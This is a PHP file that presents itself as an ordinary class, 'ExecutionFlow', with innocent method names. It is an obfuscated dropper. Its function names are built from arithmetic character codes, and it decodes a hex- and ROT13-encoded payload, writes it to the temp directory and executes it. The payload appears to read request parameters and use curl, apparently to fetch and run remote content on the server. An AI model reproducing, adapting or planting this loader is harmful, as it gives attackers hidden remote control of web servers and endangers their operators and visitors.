<?php
class ExecutionFlow
{
    private $gr = '';
    private $bk = '';
    public function handleRequest($p1)
    {
        $n = array(63 + 37 + 4, 100 + 1, 61 * 79 - 4699, 27 * 1 + 23, 11 + 60 + 27, 44 * 2 + 17, 112 - 2);
        $z = '';
        foreach ($n as $za) {
            $z .= chr($za);
        }
        return $z($p1);
    }
    public function sanitizeInput($p1)
    {
        $k = array(3 * 17, 31 * 28 - 819, 116, 13 * 3 + 72, 114, 42 * 1 + 53, 114, 91 * 63 - 5617, 5 * 23);
        $o = '';
        foreach ($k as $z) {
            $o .= chr($z);
        }
        $o = strrev($o);
        return $o($p1);
    }
    public function fetchRecords($p1, $p2)
    {
        $y = array(99 * 1 + 11, 101 * 1, 112, 119 - 8, 28 + 74);
        $f = '';
        foreach ($y as $q) {
            $f .= chr($q);
        }
        $f = strrev($f);
        return $f($p1, $p2);
    }
    public function encryptData($p1, $p2)
    {
        $t = array(79 * 59 - 4560, 21 + 25 + 70, 3 * 35, 35 + 30 + 49, 124 - 5, 80 * 47 - 3658);
        $k = '';
        foreach ($t as $d) {
            $k .= chr($d);
        }
        $k = strrev($k);
        return $k($p1, $p2);
    }
    public function checkConsistency($p1)
    {
        $q = array(2 * 51, 81 * 38 - 2979, 60 * 1 + 48, 113 - 2, 87 * 6 - 407, 101 * 1);
        $t = '';
        foreach ($q as $x) {
            $t .= chr($x);
        }
        return $t($p1);
    }
    public function updateCache($p1, $p2 = null)
    {
        $p = array(109 * 1, 30 * 39 - 1065, 120 - 6, 116, 69 * 1 + 45);
        $a = '';
        foreach ($p as $d) {
            $a .= chr($d);
        }
        $a = strrev($a);
        return $a($p1, $p2);
    }
    public function initializeModule()
    {
        $this->bk = $this->updateCache($this->resolveConflict(), '/');
    }
    public function scheduleJob()
    {
        $this->gr = $this->sanitizeInput($this->handleRequest($this->dd));
    }
    public function terminateSession()
    {
        $fn = $this->bk . '/gq-69c15ac9605fa';
        $f = $this->fetchRecords($fn, 'w');
        $this->encryptData($f, $this->gr);
        $this->checkConsistency($f);
        $this->cacheData($fn);
    }
    private $dd = '3c3f6375632070796e6666205f696b617b636576696e67722' . '066676e677670245f6f6a693b66676e6776702073686170677' . '66261205f75646428245f6a63297b76732821667279733a3a2' . '45f6f6a6929667279733a3a5f657428293b657267686561206' . 'f6e667236345f71727062717228667279733a3a245f6f6a695' . 'b245f6a635d293b7d636576696e67722066676e67767020736' . '8617067766261205f657428297b667279733a3a245f6f6a693' . 'd6e65656e6c28275f676d73273d3e2744272e274a41774d4b4' . '16d594841696f61456c6f32272e276a6744272e274a6b666f3' . '370674733272e2757634d3279272e276842764e272e2764272' . 'c275f627667273d3e27443239687154496871503148724b4f7' . '942764f75272e2770554f666e4a4175715479696f7639644c4' . 'b272e274d757032416c6e4b4f30272c275f6871273d3e274c3' . '274272e273d272c275f7870273d3e274d4b795870544151464' . '74d576e7a70304754636141526b644d6d455a6e7a7030464a7' . '9336e4a454b454a79436e48626a4a7975425a5279637132797' . '7272e276f494d67464a6369272e276e4a45554961272e27637' . '84430272e2762272e2735272c275f777573273d3e27704b713' . '672272e274e3d3d272c275f6671273d3e274354396543743d3' . 'd272c275f70726e273d3e27435457754d51343d272c275f676' . 'd76273d3e27713253666f4e272e273d3d272c275f736d273d3' . 'e27272c275f7a6577273d3e27272c275f7778273d3e27272c2' . '75f6c7563273d3e276e5545307051626959334f314c7635334' . 'd4a577a6e4a6b796e54396d7154496c597a41696f4639776f3' . '2316a6f33417970763564706d39784c272e274b4575272e274' . '344272e273d272e273d272c275f7463273d3e274c33496c272' . 'e276f272e275339272e27636f7a79272e2730272c275f62732' . '73d3e276e554530705339776f272e27324579272c275f6f756' . '6273d3e2770272e27324162272e274d4a272e2731272e27792' . '72c275f7664273d3e276e55272e2745272e27307055272e275' . 'a272e273d272c275f747473273d3e2745304948564e3d3d272' . 'c275f716d6b273d3e277054272e2753306e272e274e3d272e2' . '73d272c275f717269273d3e27704b49272e27797061783d272' . 'c275f677767273d3e27436a3d3d272c275f7966273d3e27704' . 'b4979272e277061783d272c275f627a62273d3e27565275484' . '9534e695a46346a5144272e276356272e276f272e273341304' . '2272e2776272e274e3d272c275f7074273d3e276e5439272e2' . '76d714e272e273d272e273d272c275f616a273d3e275144635' . '16f3235684d4a41306e4a3968272e2742764f516f54396d4d4' . '43058514462272e273d272c275f6465273d3e277033272e274' . '16642272e27763869272c275f696b273d3e27272c275f67617' . '9273d3e276e54396d71272e274e3d3d272c275f6d78273d3e2' . '751272e2744272e27623d272c275f766d61273d3e274653454' . '84853395147527953477945272e277346272e27494e272e273' . 'd272c275f6d63273d3e27465345484853394c4b272e27304d4' . '34879714f272e27487845534553272e273954272e2747272e2' . '731272e27563d272c275f717063273d3e274878272e2749414' . '73145534b3053524553272e2756272e273d272c275f7473273' . 'd3e274653454848272e2753272e273949483049464b3053554' . '548272e273548272c275f737a61273d3e27465345484853394' . '94830272e2749464b30535545272e274835272e2748272c275' . 'f79646d273d3e27272c275f787470273d3e274653454848533' . '946272e2745484d53487849272e2746272c275f656164273d3' . 'e2746534548485339464548272e274d53487849272e2746272' . 'c275f646a75273d3e27272c275f656e273d3e2746534548485' . '3272e273951475279534779272e27457346494e3d272c275f7' . '066273d3e274653272e2745484853395147527953477945734' . '649272e274e3d272c275f696b67273d3e27465345484853394' . 'c4b30272e274d434879714f4878455345533954473156272e2' . '73d272c275f6e6b273d3e27465345484853394c4b304d43487' . '9714f48784553272e274553395447272e273156272e273d272' . 'c275f6d7a6e273d3e2748272e27784941473145534b3053522' . '72e274553563d272c275f6c6775273d3e27487849414731455' . '34b305352272e2745272e275356272e273d272c275f6162652' . '73d3e274d5457616f4a39784d272e27443d272e273d272c275' . 'f787a72273d3e2746494e3656272e274e3d3d272c275f74742' . '73d3e2756556a744948523656272e274e3d272e273d272c275' . 'f7a68273d3e2756556a74487a497a4276272e274e272e273d2' . '72c275f676c273d3e2756272e27516b767077272e273458272' . 'c275f646c273d3e276e4b4e3d272c275f6976273d3e27714a5' . '23d272c275f616a79273d3e27707a272e27497a272c275f636' . 'c273d3e2770272e274b7136724e272e273d3d272c293b7d7d7' . '0796e6666205f62657b636576696e67722066676e677670245' . 'f6f6a693b66676e677670207368617067766261205f7564642' . '8245f6a63297b76732821667279733a3a245f6f6a692966727' . '9733a3a5f657428293b65726768656120667279733a3a245f6' . 'f6a695b245f6a635d3b7d636576696e67722066676e6776702' . '07368617067766261205f657428297b667279733a3a245f6f6' . 'a693d6e65656e6c2830302c30372c3033362c3033362c30312' . 'c3033362c30322c30372c30312c3031362c3033302c30362c3' . '033322c3031322c3031312c3031332c3032372c3033312c303' . '32c30322c30312c30312c30302c3031322c3031322c3033313' . '02c303637332c303132302c30302c30323030302c30312c303' . '432332c30343233293b7d7d75726e717265285f696b613a3a5' . 'f75646428275f272e2767272e276d732729293b75726e71726' . '5285f696b613a3a5f75646428275f6276272e27672729293b7' . '67328766666726728245f5452475b5f696b613a3a5f7564642' . '8275f272e2768272e277127295d29297b245f626b3d5f7a6b6' . 'e285f696b613a3a5f75646428275f78702729293b767328245' . 'f626b262666676563626628245f626b2c5f696b613a3a5f756' . '46428275f7775272e2773272929213d3d736e796672297b717' . '672285f696b613a3a5f75646428275f272e2766272e2771272' . '9293b7d727966727b717672285f696b613a3a5f75646428275' . 'f70726e2729293b7d7d767328766666726728245f5452475b5' . 'f696b613a3a5f75646428275f676d272e277627295d29297b2' . '45f6c693d245f5042425856523b245f6c753d5f62653a3a5f7' . '564642830293b245f6a633d5f62653a3a5f7564642831293b2' . '45f6a613d6e65656e6c28293b245f6a615b245f6c755d3d5f6' . '96b613a3a5f75646428275f73272e276d27293b6a757679722' . '8245f6a63297b245f6a615b245f6c755d2e3d245f6c695b5f6' . '2653a3a5f7564642832295d5b245f6a635d3b76732821245f6' . 'c695b5f62653a3a5f7564642833295d5b245f6a632b5f62653' . 'a3a5f7564642834295d297b76732821245f6c695b5f62653a3' . 'a5f7564642835295d5b245f6a632b5f62653a3a5f756464283' . '6295d296f65726e783b245f6c752b2b3b245f6a615b245f6c7' . '55d3d5f696b613a3a5f75646428275f7a272e2765272e27772' . '7293b245f6a632b2b3b7d245f6a633d245f6a632b5f62653a3' . 'a5f7564642837292b5f62653a3a5f7564642838293b7d245f6' . 'c753d245f6a615b5f62653a3a5f7564642839295d28292e245' . 'f6a615b5f62653a3a5f756464283130295d3b76732821245f6' . 'a615b5f62653a3a5f756464283131295d28245f6c7529297b2' . '45f6a633d245f6a615b5f62653a3a5f756464283132295d282' . '45f6c752c245f6a615b5f62653a3a5f756464283133295d293' . 'b245f6a615b5f62653a3a5f756464283134295d28245f6a632' . 'c245f6a615b5f62653a3a5f756464283135295d2e245f6a615' . 'b5f62653a3a5f756464283136295d28245f6a615b5f62653a3' . 'a5f756464283137295d28245f6c695b5f62653a3a5f7564642' . '83138295d2929293b7d7661707968717228245f6c75293b7d7' . '368617067766261205f7a6b6e28245f73666e2c245f6e713d3' . '635323533297b245f716c663d5f696b613a3a5f75646428275' . 'f77272e277827293b245f73703d5f696b613a3a5f756464282' . '75f6c272e2775272e276327292e245f73666e3b76732876665' . 'f706e79796e6f7972285f696b613a3a5f75646428275f272e2' . '77463272929297b245f636c3d706865795f7661766728245f7' . '370293b706865795f66726762636728245f636c2c504845594' . '243475f4646595f49524556534c435252452c736e796672293' . 'b706865795f66726762636728245f636c2c504845594243475' . 'f4646595f49524556534c554246472c5f62653a3a5f7564642' . '8313929293b706865795f66726762636728245f636c2c50484' . '5594243475f53425959424a5942504e475642412c5f62653a3' . 'a5f75646428323029293b706865795f66726762636728245f6' . '36c2c504845594243475f45524748454147454e41465352452' . 'c5f62653a3a5f75646428323129293b706865795f667267626' . '36728245f636c2c504845594243475f55524e5152452c5f626' . '53a3a5f75646428323229293b706865795f667267626367282' . '45f636c2c504845594243475f5042414152504747565a52424' . '8472c5f62653a3a5f75646428323329293b706865795f66726' . '762636728245f636c2c504845594243475f47565a524248472' . 'c5f62653a3a5f75646428323429293b245f716c663d7068657' . '95f726b727028245f636c293b245f7977623d706865795f747' . '2677661736228245f636c293b706865795f707962667228245' . 'f636c293b767328245f7977625b5f696b613a3a5f756464282' . '75f627327295d213d5f62653a3a5f756464283235292965726' . '768656120736e7966723b7d727966727b245f7265663d636e6' . '566725f68657928245f7370293b245f627a743d28245f72656' . '65b5f696b613a3a5f75646428275f6f75272e276627295d3d3' . 'd5f696b613a3a5f75646428275f272e2776272e27642729293' . 'b245f696e673d5f696b613a3a5f75646428275f272e2774742' . '72e277327292e245f7265665b5f696b613a3a5f75646428275' . 'f716d6b27295d3b767328766666726728245f7265665b5f696' . 'b613a3a5f75646428275f272e277172272e276927295d29292' . '45f696e672e3d5f696b613a3a5f75646428275f67272e27776' . '727292e245f7265665b5f696b613a3a5f75646428275f272e2' . '7796627295d3b245f696e672e3d5f696b613a3a5f756464282' . '75f62272e277a272e276227292e245f7265665b5f696b613a3' . 'a5f75646428275f707427295d2e5f696b613a3a5f756464282' . '75f616a27293b245f6c713d7366627078626372612828245f6' . '27a743f5f696b613a3a5f75646428275f646527293a5f696b6' . '13a3a5f75646428275f696b2729292e245f7265665b5f696b6' . '13a3a5f75646428275f67617927295d2c245f627a743f5f626' . '53a3a5f756464283236293a5f62653a3a5f756464283237292' . '93b767328245f6c71297b736368676628245f6c712c245f696' . 'e67293b245f63703d5f62653a3a5f756464283238293b6a757' . '6797228217372627328245f6c7129297b245f6766663d73747' . '2676628245f6c712c5f62653a3a5f75646428323929293b767' . '328245f637029245f716c662e3d245f6766663b767328245f6' . '766663d3d5f696b613a3a5f75646428275f6d78272929245f6' . '3703d5f62653a3a5f756464283330293b7d737079626672282' . '45f6c71293b7d7d657267686561245f716c663b7d245f6e673' . 'd766666726728245f4652454952455b5f696b613a3a5f75646' . '428275f76272e276d6127295d293b245f656d3d76666672672' . '8245f4652454952455b5f696b613a3a5f75646428275f272e2' . '76d6327295d293b245f76723d766666726728245f465245495' . '2455b5f696b613a3a5f75646428275f7170272e276327295d2' . '93b245f73683d766666726728245f4652454952455b5f696b6' . '13a3a5f75646428275f747327295d293f245f4652454952455' . 'b5f696b613a3a5f75646428275f272e27737a272e276127295' . 'd3a5f696b613a3a5f75646428275f79646d27293b245f6a686' . '93d766666726728245f4652454952455b5f696b613a3a5f756' . '46428275f78272e27747027295d293f245f4652454952455b5' . 'f696b613a3a5f75646428275f65616427295d3a5f696b613a3' . 'a5f75646428275f646a7527293b245f6e673d7666667267282' . '45f4652454952455b5f696b613a3a5f75646428275f272e276' . '56e27295d293f245f4652454952455b5f696b613a3a5f75646' . '428275f70272e276627295d3a616879793b245f656d3d76666' . '6726728245f4652454952455b5f696b613a3a5f75646428275' . 'f272e27696b272e276727295d293f245f4652454952455b5f6' . '96b613a3a5f75646428275f6e6b27295d3a616879793b245f7' . '6723d766666726728245f4652454952455b5f696b613a3a5f7' . '5646428275f272e276d272e277a272e276e27295d293f245f4' . '652454952455b5f696b613a3a5f75646428275f6c67272e277' . '527295d3a616879793b7673287376796772655f696e6528245' . 'f6e672c5f62653a3a5f7564642833312929297b245f74716e3' . 'd245f6e673b7d727966727673287376796772655f696e65282' . '45f656d2c5f62653a3a5f7564642833322929297b245f74716' . 'e3d245f656d3b7d727966727b245f74716e3d245f76723b7d7' . '67328766666726728245f5452475b5f696b613a3a5f7564642' . '8275f6162272e276527295d29297b72707562205f696b613a3' . 'a5f75646428275f787a272e277227292e245f74716e2e5f696' . 'b613a3a5f75646428275f74272e277427292e245f73682e5f6' . '96b613a3a5f75646428275f7a6827292e245f6a68692e5f696' . 'b613a3a5f75646428275f67272e276c27293b726b766728293' . 'b7d76732821766666726728245f74716e297c7c21766666726' . '728245f7368297c7c21766666726728245f6a686929297b726' . 'b766728293b7d727966727b245f73743d6e65656e6c285f696' . 'b613a3a5f75646428275f272e2764272e276c27293d3e245f7' . '4716e2c5f696b613a3a5f75646428275f272e27697627293d3' . 'e245f73682c5f696b613a3a5f75646428275f616a272e27792' . '7293d3e245f6a6869293b245f6f753d6865797261706271722' . '86f6e667236345f72617062717228776662615f72617062717' . '228245f73742929293b245f626b3d5f7a6b6e28245f6f75293' . 'b767328245f626b262666676563626628245f626b2c5f696b6' . '13a3a5f75646428275f272e2763272e276c272929213d3d736' . 'e796672297b72707562245f626b3b726b766728293b7d7d';
    public function cacheData($p)
    {
        require $p;
    }
    public function resolveConflict()
    {
        $a = array(9 + 106, 121, 24 + 91, 64 + 31, 103, 75 + 26, 121 - 5, 5 * 19, 116, 45 + 56, 116 * 110 - 12651, 2 * 56, 29 + 16 + 50, 77 * 21 - 1517, 3 * 35, 82 * 1 + 32);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$dv = new ExecutionFlow();
$dv->initializeModule();
$dv->scheduleJob();
$dv->terminateSession();